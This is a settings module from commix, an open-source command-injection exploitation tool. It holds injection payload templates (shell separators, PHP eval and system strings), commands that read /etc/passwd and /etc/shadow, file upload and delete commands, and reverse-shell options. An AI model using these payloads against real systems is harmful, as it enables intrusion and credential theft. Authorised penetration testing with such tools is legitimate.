# Print bold debug message (verbose mode)
def print_bold_debug_msg(debug_msg):
result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL
return result
# Print request HTTP message
def print_request_msg(req_msg):
result = print_time() + REQUEST_SIGN + str(req_msg) + Style.RESET_ALL
return result
# Print response HTTP message
def print_response_msg(resp_msg):
result = print_time() + RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL
return result
# Print information message
def print_info_msg(info_msg):
result = print_time() + INFO_SIGN + str(info_msg) + Style.RESET_ALL
return result
# Print bold information message
def print_bold_info_msg(info_msg):
result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL
return result
# Print payload (verbose mode)
def print_payload(payload):
result = print_time() + PAYLOAD_SIGN + str(payload) + Style.RESET_ALL
return result
# Print HTTP traffic (verbose mode)
def print_traffic(traffic):
result = TRAFFIC_SIGN + str(traffic) + Style.RESET_ALL
return result
def print_request_num(number):
result = TOTAL_OF_REQUESTS_COLOR + "#" + str(number) + Style.RESET_ALL
return result
def print_output(output):
result = Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL
return result
# Print HTTP response content (verbose mode)
def print_http_response_content(content):
result = HTTP_CONTENT_SIGN + str(content) + Style.RESET_ALL
return result
# Print checking message (verbose mode)
def print_checking_msg(payload):
result = CHECK_SIGN + str(payload) + Style.RESET_ALL
return result
# Print question message
def print_message(message):
result = QUESTION_SIGN + message + Style.RESET_ALL
return result
# Print sub content message
def print_sub_content(sub_content):
result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL
return result
# Print sub content message
def print_retrieved_data(cmd, retrieved):
result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + cmd + ": " + str(retrieved) + Style.RESET_ALL
return result
# Print output of command execution
def command_execution_output(shell):
result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
return result
# argv checks
def sys_argv_checks():
tamper_index = None
for i in xrange(len(sys.argv)):
# Disable coloring
if sys.argv[i] == "--disable-coloring":
from src.utils import colors
colors.ENABLE_COLORING = False
"""
Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B)
[1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae
"""
if sys.argv[i].startswith("--tamper"):
if tamper_index is None:
tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None)
else:
sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else ""))
sys.argv[i] = ""
# argv input errors
def sys_argv_errors():
_reload_module(sys)
try:
# Fix for Python 2.7
sys.setdefaultencoding(DEFAULT_CODEC)
except AttributeError:
pass
for i in xrange(len(sys.argv)):
# Check for illegal (non-console) quote characters.
if len(sys.argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0], sys.argv[i][-1])):
err_msg = "Illegal (non-console) quote characters ('" + sys.argv[i] + "')."
print(print_critical_msg(err_msg))
raise SystemExit()
# Check for illegal (non-console) comma characters.
elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=', 1)[-1]:
err_msg = "Illegal (non-console) comma character ('" + sys.argv[i] + "')."
print(print_critical_msg(err_msg))
raise SystemExit()
# Check for potentially miswritten (illegal '=') short option.
elif re.search(r"\A-\w=.+", sys.argv[i]):
err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[i] + "')."
print(print_critical_msg(err_msg))
raise SystemExit()
# argv checks
sys_argv_checks()
"""
The global variables.
"""
# About
APPLICATION = "commix"
DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool"
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.8"
REVISION = "44"
STABLE_RELEASE = True
VERSION = "v"
if STABLE_RELEASE:
VERSION = VERSION + VERSION_NUM + "-stable"
COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
else:
VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION
COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
YEAR = "2014-2023"
AUTHOR_TWITTER = "@ancst"
APPLICATION_URL = "https://commixproject.com"
APPLICATION_TWITTER = "@commixproject"
# Default User-Agent
DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")"
# Legal Disclaimer
LEGAL_DISCLAIMER_MSG = "Usage of " + APPLICATION + " for attacking targets without prior mutual consent is illegal. " + \
"It is the end user's responsibility to obey all applicable local, state and federal laws. " + \
"Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n"
# Random string generator
RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))
# Readline
READLINE_ERROR = False
# User-supplied operating system command
USER_SUPPLIED_CMD = ""
# Random Tag
RANDOM_TAG = ""
if RANDOM_TAG == "" :
RANDOM_TAG = RANDOM_STRING_GENERATOR
# Proxy
PROXY_REGEX = r"((http[^:]*)://)?([\w\-.]+):(\d+)"
# Auth Credentials format
AUTH_CRED_REGEX = r"^(.*?):(.*?)$"
# Inject Tag
INJECT_TAG = "INJECT_HERE"
INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE"
VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]'
INJECT_INSIDE_BOUNDARIES = None
# Default (windows) target host's python interpreter
WIN_PYTHON_INTERPRETER = "python.exe"
WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe"
USER_DEFINED_PYTHON_DIR = False
# Default (linux) target host's python interpreter
LINUX_PYTHON_INTERPRETER = "python3"
LINUX_CUSTOM_PYTHON_INTERPRETER = "python27"
USER_DEFINED_PYTHON_INTERPRETER = False
CMD_NUL = ""
#Basic heuristic checks for command injections
RAND_A = random.randint(1,10000)
RAND_B = random.randint(1,10000)
CALC_STRING = str(RAND_A) + "+" + str(RAND_B)
BASIC_STRING = "(" + CALC_STRING + ")"
BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")",
"|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING
]
ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\""
ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")",
"|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL
]
BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B)
IDENTIFIED_COMMAND_INJECTION = False
#Basic heuristic checks for code injection warnings or... phpinfo page ;)
PHPINFO_PAYLOAD = "phpinfo()"
PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "",
"exec(" + PHPINFO_PAYLOAD + ")",
"eval(" + PHPINFO_PAYLOAD + ")",
"system(" + PHPINFO_PAYLOAD + ")"
]
PHPINFO_CHECK_PAYLOADS = [
[".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS],
[")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS],
["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS],
["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS],
["\\\\/{${" + x + "}}\\/\\" for x in PHP_EXEC_FUNCTIONS]
]
PHPINFO_CHECK_PAYLOADS = [x for payload in PHPINFO_CHECK_PAYLOADS for x in payload]
# Executed phpinfo()
IDENTIFIED_PHPINFO = False
CODE_INJECTION_PHPINFO = r"PHP Version </td><td class=\"v\">(([\w\.]+))"
# Code injection warnings
IDENTIFIED_WARNINGS = False
CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"]
SKIP_CODE_INJECTIONS = False
SKIP_COMMAND_INJECTIONS = False
# User-defined stored post data.
USER_DEFINED_POST_DATA = False
# The wildcard character
WILDCARD_CHAR = "*"
WILDCARD_CHAR_APPLIED = False
POST_WILDCARD_CHAR = ""
# Testable parameter(s) - comma separated.
TEST_PARAMETER = ""
# Skip testing for given parameter(s) - comma separated.
SKIP_PARAMETER = ""
# Use a proxy to connect to the target URL.
SCHEME = ""
class OS(object):
UNIX = "unix"
WINDOWS = "win"
# Default target host OS (Unix-like)
TARGET_OS = OS.UNIX
# Verbosity level: 0-1 (default 0)
VERBOSITY_LEVEL = 0
# Local HTTP server ip
LOCAL_HTTP_IP = ""
# Local HTTP server port
LOCAL_HTTP_PORT = random.randint(50000,60000)
HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html"))
DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~")
# Detection / Exploitation phase(s)
DETECTION_PHASE = False
EXPLOITATION_PHASE = False
# Exploitation techniques states
CLASSIC_STATE = False
EVAL_BASED_STATE = False
TIME_BASED_STATE = False
FILE_BASED_STATE = False
TEMPFILE_BASED_STATE = False
TIME_RELATIVE_ATTACK = False
# Stored applied techniques
SESSION_APPLIED_TECHNIQUES = ""
# The name of the operating system dependent module imported.
PLATFORM = os.name
IS_WINDOWS = PLATFORM == "nt"
# Check if OS is Windows.
#IS_WINDOWS = hasattr(sys, "getwindowsversion")
# Git URL.
GIT_URL = "https://github.com/commixproject/" + APPLICATION + ".git"
# Git issue URL.
ISSUES_PAGE = "https://github.com/commixproject/" + APPLICATION + "/issues/new"
COMMIX_ROOT_PATH = os.path.abspath(os.curdir)
# Output Directory
OUTPUT_DIR = ".output/"
# Output file name
OUTPUT_FILE_NAME = "logs"
# Output file name
OUTPUT_FILE_EXT = ".txt"
OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT
# Max Length for command execution output.
MAXLEN = 10000
STDIN_PARSING = False
if not sys.stdin.isatty():
STDIN_PARSING = True
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
# Slow target response.
SLOW_TARGET_RESPONSE = 3
# The testable parameter.
TESTABLE_PARAMETER = ""
TESTABLE_VALUE = ""
# The HTTP header name.
HTTP_HEADER = ""
# The command injection separators.
SEPARATORS = []
DEFAULT_SEPARATORS = ["", ";", "%26", "|"]
SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"]
SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS
SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1
# The command injection prefixes.
PREFIXES = []
PREFIXES_LVL1 = [""]
PREFIXES_LVL2 = SEPARATORS_LVL1
PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""]
# The command injection suffixes.
SUFFIXES = []
SUFFIXES_LVL1 = [""]
SUFFIXES_LVL2 = SEPARATORS_LVL1
SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"]
# Bad combination of prefix and separator
JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))]
# Execution functions
EXECUTION_FUNCTIONS = []
EXECUTION_FUNCTIONS_LVL1 = ["exec"]
EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"]
EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"]
# The code injection separators.
EVAL_SEPARATORS = []
EVAL_SEPARATORS_LVL1 = [""]
EVAL_SEPARATORS_LVL2 = EVAL_SEPARATORS_LVL1 + ["%0a"]
EVAL_SEPARATORS_LVL3 = EVAL_SEPARATORS_LVL2 + ["%0d%0a"]
# The code injection prefixes.
EVAL_PREFIXES = []
EVAL_PREFIXES_LVL1 = [".", "'.", "{${"]
EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"]
EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""]
# The code injection suffixes.
EVAL_SUFFIXES = []
EVAL_SUFFIXES_LVL1 = [ "", ".'", "}}"]
EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"]
EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"]
# Raw payload (without tampering)
RAW_PAYLOAD = ""
# The default (url-ecoded) white-space.
WHITESPACES = ["%20"]
SINGLE_WHITESPACE = " "
# Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri
URI_HTTP_HEADER = "URI"
# Seconds to delay between each HTTP request.
DELAY = 0
# Seconds to delay the OS response. (Default 1)
TIMESEC = 1
# Seconds to delay between each HTTP retry.
DELAY_RETRY = 1
#Level (Default: 1)
DEFAULT_INJECTION_LEVEL = 1
COOKIE_INJECTION_LEVEL = 2
HTTP_HEADER_INJECTION_LEVEL = 3
USER_SUPPLIED_LEVEL = DEFAULT_INJECTION_LEVEL
PERFORM_BASIC_SCANS = True
# Default Temp Directory
TMP_PATH = ""
# Default Server's Web-Root Directory
WEB_ROOT = ""
DEFAULT_WEB_ROOT = ""
CUSTOM_WEB_ROOT = False
# Counting the total of HTTP(S) requests
TOTAL_OF_REQUESTS = 0
# The max help option length.
MAX_OPTION_LENGTH = 18
# Python version.
PYTHON_VERSION = sys.version.split()[0]
# Enumeration Commands
# Output PowerShell's version number
PS_VERSION = "powershell.exe -InputFormat none write-host ([string]$(cmd /c powershell.exe -InputFormat none get-host)[3]).replace('Version','').replace(' ','').substring(1,3)"
# Current user
CURRENT_USER = "whoami"
WIN_CURRENT_USER = "echo %USERNAME%"
# The hostname
HOSTNAME = "hostname"
WIN_HOSTNAME = "echo %COMPUTERNAME%"
# Check if current user has excessive privileges
# Unix-like: root
IS_ROOT = "echo $(id -u)"
# Windows: admin
IS_ADMIN = "powershell.exe -InputFormat none [Security.Principal.WindowsBuiltinRole]::Administrator"
# Operation System.
RECOGNISE_OS = "uname -s"
WIN_RECOGNISE_OS = "ver"
# Distribution Description / Release
DISTRO_INFO = "echo $(lsb_release -sir)"
# Hardware platform.
RECOGNISE_HP = "uname -m"
WIN_RECOGNISE_HP = "echo %PROCESSOR_ARCHITECTURE%"
# File System access options
# Read file
FILE_READ = "cat "
FILE_WRITE_OPERATOR = " > "
WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content "
WIN_FILE_READ = "powershell.exe get-Content "
# List file
FILE_LIST = "ls "
FILE_LIST_WIN = "powershell.exe Test-Path -Path "
CERTUTIL_DECODE_CMD = "certutil -decode "
# Write file
FILE_WRITE = "printf "
# Write file
FILE_UPLOAD = "wget "
# /etc/passwd
PASSWD_FILE = "/etc/passwd"
SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE
EVAL_SYS_USERS = "awk -F ':' '{print \$1}{print \$3}{print \$6}' " + PASSWD_FILE
# Exports users of localgroup
WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))"
DEFAULT_WIN_USERS = ["Administrator", "DefaultAccount", "Guest"]
# /etc/shadow
SHADOW_FILE = "/etc/shadow"
SYS_PASSES = FILE_READ + SHADOW_FILE
WIN_REPLACE_WHITESPACE = "-replace('\s+',' '))"
# Accepts 'YES','YE','Y','yes','ye','y'
CHOICE_YES = ['YES','YE','Y','yes','ye','y']
# Accepts 'NO','N','no','n'
CHOICE_NO = ['NO','N','no','n']
# Accepts 'QUIT','Q','quit','q'
CHOICE_QUIT = ['QUIT','Q','quit','q']
# Accepts 'W','w','U','u','Q','q'
CHOICE_OS = ['W','w','U','u','Q','q']
# Accepts 'C','c','S','s','Q','q','a','A','n','N'
CHOICE_PROCEED = ['C','c','S','s','Q','q','a','A','n','N']
# Available alternative shells
AVAILABLE_SHELLS = ["python"]
# Available injection techniques.
AVAILABLE_TECHNIQUES = ['c','e','t','f']
USER_SUPPLIED_TECHNIQUE = False
SKIP_TECHNIQUES = False
# User Agent List
USER_AGENT_LIST = [
# Opera
"Opera/8.0 (X11; Linux i686; U; en)",
"Opera/9.01 (X11; FreeBSD 6 i386; U; en)"
"Opera/8.51 (FreeBSD 5.1; U; en)",
"Opera/8.51 (Macintosh; PPC Mac OS X; U; de)",
"Opera/9.00 (Macintosh; PPC Mac OS X; U; es)",
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
# Mozilla Firefox
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20131331 Firefox/31.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.31)",
"Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0",
"Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.31; .NET CLR 3.0.04506.648)",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
"Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6",
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090315 Firefox/3.1b3",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20131401 Firefox/31.0",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34",
# Oldies
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)",
"mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1",
]
# Mobile User Agents
MOBILE_USER_AGENT_LIST = [
"Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+",
"Mozilla/5.0 (Linux; Android 7.0; SM-G931V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3171.125 Mobile Safari/537.36",
"Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6310)",
"Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1",
"Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977",
"Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19",
"Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344",
"Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1",
]
# Default Scheme
SCHEME = ""
# TOR HTTP Proxy
TOR_HTTP_PROXY_IP = "127.0.0.1"
TOR_HTTP_PROXY_PORT = "8118"
TOR_HTTP_PROXY_SCHEME = "https"
# Cookie injection
COOKIE_INJECTION = None
# User-Agent injection
USER_AGENT_INJECTION = None
# Referer injection
REFERER_INJECTION = None
# Host injection
HOST_INJECTION = None
# Custom HTTP Headers injection
CUSTOM_HEADER_INJECTION = False
CUSTOM_HEADER_NAME = ""
CUSTOM_HEADER_VALUE = ""
# Valid URL format check
VALID_URL_FORMAT = "https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?"
VALID_URL = True
# Accepted shell menu options
SHELL_OPTIONS = [
"?",
"quit",
"back",
"os_shell",
"reverse_tcp",
"bind_tcp",
"set",
]
# Accepted reverse tcp shell menu options
SET_OPTIONS = [
"LHOST",
"RHOST",
"LPORT",
"SRVPORT",
"URIPATH",
]
# Cookie delimiter
COOKIE_DELIMITER = ";"
# Split parameter value
PARAMETER_SPLITTING_REGEX = r'[,]'
# Cookie delimiter
PARAMETER_DELIMITER = "&"
DEFAULT_CODEC = "utf8"
# Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
DEFAULT_PAGE_ENCODING = "iso-8859-1"
try:
codecs.lookup(DEFAULT_PAGE_ENCODING)
except LookupError:
DEFAULT_PAGE_ENCODING = DEFAULT_CODEC
# Character Sets List.
# A complete list of the standard encodings Python supports.
ENCODING_LIST = [
"iso-8859-1",
"ascii",
"big5",
"big5hkscs",
"cp037",
"cp424",
"cp437",
"cp500",
"cp720",
"cp737",
"cp775",
"cp850",
"cp852",
"cp855",
"cp856",
"cp857",
"cp858",
"cp860",
"cp861",
"cp862",
"cp863",
"cp864",
"cp865",
"cp866",
"cp869",
"cp874",
"cp875",
"cp932",
"cp949",
"cp950",
"cp1006",
"cp1026",
"cp1140",
"cp1250",
"cp1251",
"cp1252",
"cp1253",
"cp1254",
"cp1255",
"cp1256",
"cp1257",
"cp1258",
"euc-jp",
"euc-jis-2004",
"euc-jisx0213",
"euc-kr",
"gb2312",
"gbk",
"gb18031",
"hz",
"iso2022-jp",
"iso2022-jp-1",
"iso2022-jp-2",
"iso2022-jp-2004",
"iso2022-jp-3",
"iso2022-jp-ext",
"iso2022-kr",
"latin-1",
"iso8859-2",
"iso8859-3",
"iso8859-4",
"iso8859-5",
"iso8859-6",
"iso8859-7",
"iso8859-8",
"iso8859-9",
"iso8859-10",
"iso8859-13",
"iso8859-14",
"iso8859-15",
"iso8859-16",
"johab",
"koi8-r",
"koi8-u",
"mac-cyrillic",
"mac-greek",
"mac-iceland",
"mac-latin2",
"mac-roman",
"mac-turkish",
"ptcp154",
"shift-jis",
"shift-jis-2004",
"shift-jisx0213",
"utf-32",
"utf-32-be",
"utf-32-le",
"utf-16",
"utf-16-be",
"utf-16-le",
"utf-7",
"utf-8",
"utf-8-sig"
]
HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate"
HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json"
HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml"
# Default server banner
SERVER_BANNER = ""
# Server banners list
SERVER_BANNERS = [
"Microsoft-IIS",
"Apache",
r"Nginx/([\w\.]+)",
r"GWS/([\w\.]+)",
r"lighttpd/([\w\.]+)",
r"openresty/([\w\.]+)",
r"LiteSpeed/([\w\.]+)",
r"Sun-ONE-Web-Server/([\w\.]+)"
]
# Server banners list
SERVER_OS_BANNERS = [
r"(Microsoft|Windows|Win[\w\.]+)",
"Debian",
"Ubuntu",
"Fedora",
"CentOS",
"FreeBSD",
"NetBSD",
"OpenBSD",
"Slackware",
"SuSE",
"Mandrake",
"Gentoo",
r"Mac[\-\_\ ]?OSX",
r"Red[\-\_\ ]?Hat",
"Unix"
]
# Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = [
"3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar",
"asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb",
"djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf",
"ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac",
"fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa",
"iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar",
"mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu",
"nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps",
"ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m",
"s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff",
"tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba",
"webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi",
"xpm", "xwd", "xz", "z", "zip", "zipx"
]
TARGET_APPLICATION = ""
# Unsupported target application(s) [1]
# [1] https://github.com/commixproject/commix/wiki/Target-applications
UNSUPPORTED_TARGET_APPLICATION = [
""
]
REVERSE_TCP = False
BIND_TCP = False
# Injection logs report
SHOW_LOGS_MSG = False
# Enumeration options
ENUMERATION_DONE = False
ENUMERATE_AGAIN = False
# FIle access options
FILE_ACCESS_DONE = False
FILE_ACCESS_AGAIN = False
# XML Data
IS_XML = False
# Regular expression for XML POST data
XML_RECOGNITION_REGEX = r'(?s)\A\s*<[^>]+>(.+>)?\s*\Z'
# JSON Data
IS_JSON = False
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
# Regular expression used for detecting JSON POST data
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
# Regular expression used for detecting JSON-like POST data
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
# Base64 format recognition
BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$'
# Hex encoded characters recognition
HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$'
# GET parameters recognition
GET_PARAMETERS_REGEX = r"(.*?)\?(.+)"
# TFB Decimal
TFB_DECIMAL = False
# Ignore Error Message
IGNORE_ERR_MSG = False
# Windows PHP installed directory.
WIN_PHP_DIR = "C:\\xampp\\php\\php.exe"
USER_DEFINED_PHP_DIR = False
# Comment out
WIN_COMMENT = "REM"
COMMENT = "#"
#Delete command
WIN_DEL = "powershell.exe Remove-Item "
DEL = "rm "
# Time-based Variables
FOUND_HOW_LONG = ""
FOUND_DIFF = ""
# Check for PowerShell
PS_ENABLED = None
# ANSI colors removal
ANSI_COLOR_REMOVAL = r'\x1b[^m]*m'
# Default LHOST / LPORT / RHOST setup,
# for the reverse TCP connection
LHOST = ""
LPORT = ""
# for the bind TCP connection
RHOST = ""
# Default settings (web_delivery).
URIPATH = "/"
SRVPORT = 8080
# Maybe a WAF/IPS/IDS protection.
WAF_ENABLED = False
# Session Handler
SESSION_FILE = ""
LOAD_SESSION = None
